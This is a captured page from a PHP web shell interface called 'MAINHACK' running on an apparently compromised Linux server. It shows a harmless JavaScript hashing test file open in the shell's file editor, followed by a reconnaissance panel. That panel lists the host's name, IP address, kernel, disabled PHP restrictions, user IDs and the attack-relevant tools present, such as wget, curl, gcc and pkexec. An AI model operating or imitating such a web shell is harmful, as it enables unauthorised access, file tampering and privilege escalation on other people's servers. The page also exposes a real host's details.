[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test.js
'use strict'; var _ = require('lodash'); var test = require('tape'); var sum = require('./'); test('creates unique hashes', function (t) { var results = []; sub([0,1,2,3]); sub({url:12}); sub({headers:12}); sub({headers:122}); sub({headers:'122'}); sub({headers:{accept:'text/plain'}}); sub({payload:[0,1,2,3],headers:[{a:'b'}]}); sub({a:function () {}}); sub({b:function () {}}); sub({b:function (a) {}}); sub(function () {}); sub(function (a) {}); sub(function (b) {}); sub(function (a) { return a;}); sub(function (a) {return a;}); sub(''); sub('null'); sub('false'); sub('true'); sub('0'); sub('1'); sub('void 0'); sub('undefined'); sub(null); sub(false); sub(true); sub(0); sub(1); sub(void 0); sub({}); sub({a:{},b:{}}); sub([]); sub(new Date()); sub(global, 'global'); t.equal(results.length, _.uniq(results).length); t.end(); function sub (value, name) { var hash = sum(value); results.push(hash); console.log('%s from:', hash, name || value); } }); test('hashes clash if same properties', function (t) { equals({a:'1'},{a:'1'}); equals({a:'1',b:1},{b:1,a:'1'}); t.end(); function equals (a, b) { t.equal(sum(a), sum(b)); } });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002